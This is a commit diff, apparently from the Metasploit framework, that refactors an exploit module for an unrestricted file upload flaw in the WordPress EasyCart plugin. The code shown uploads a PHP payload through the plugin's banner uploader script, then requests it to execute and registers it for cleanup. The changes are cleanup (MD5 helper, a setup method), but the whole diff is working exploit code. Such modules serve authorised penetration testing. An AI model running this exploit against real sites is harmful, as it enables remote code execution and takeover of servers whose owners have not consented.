Cleanup of various bits of code

Author: rastating

modules/exploits/unix/webapp/wp_easycart_unrestricted_file_upload.rb

@@ -4,7 +4,6 @@
 ##
 
 require 'msf/core'
-require 'digest/md5'
 
 class Metasploit3 < Msf::Exploit::Remote
   Rank = ExcellentRanking
@@ -91,7 +90,7 @@ def req_id
     if ec_password_is_hash
       return ec_password
     else
-      return Digest::MD5.hexdigest(ec_password)
+      return Rex::Text.md5(ec_password)
     end
   end
 
@@ -107,11 +106,15 @@ def generate_mime_message(payload, date_hash, name, include_req_id)
     data
   end
 
-  def exploit
+  def setup
     if !use_wordpress_authentication && !use_ec_authentication
       fail_with(Failure::BadConfig, 'You must set either the USERNAME and PASSWORD options or specify an EC_PASSWORD value')
     end
 
+    super
+  end
+
+  def exploit
     vprint_status("#{peer} - WordPress authentication attack is enabled") if use_wordpress_authentication
     vprint_status("#{peer} - EC authentication attack is enabled") if use_ec_authentication
 
@@ -134,10 +137,11 @@ def exploit
 
     print_status("#{peer} - Preparing payload...")
     payload_name = Rex::Text.rand_text_alpha(10)
-    date_hash = Digest::MD5.hexdigest(Time.now.to_s)
+    date_hash = Rex::Text.md5(Time.now.to_s)
+    uploaded_filename = "#{payload_name}_#{date_hash}.php"
     plugin_url = normalize_uri(wordpress_url_plugins, 'wp-easycart')
     uploader_url = normalize_uri(plugin_url, 'inc', 'amfphp', 'administration', 'banneruploaderscript.php')
-    payload_url = normalize_uri(plugin_url, 'products', 'banners', "#{payload_name}_#{date_hash}.php")
+    payload_url = normalize_uri(plugin_url, 'products', 'banners', uploaded_filename)
     data = generate_mime_message(payload, date_hash, "#{payload_name}.php", use_ec_authentication)
 
     print_status("#{peer} - Uploading payload to #{payload_url}")
@@ -153,7 +157,7 @@ def exploit
     vprint_error("#{peer} - Server responded with status code #{res.code}") if res.code != 200
 
     print_status("#{peer} - Executing the payload...")
-    register_files_for_cleanup("#{payload_name}_#{date_hash}.php")
+    register_files_for_cleanup(uploaded_filename)
     res = send_request_cgi(
     {
       'uri'     => payload_url,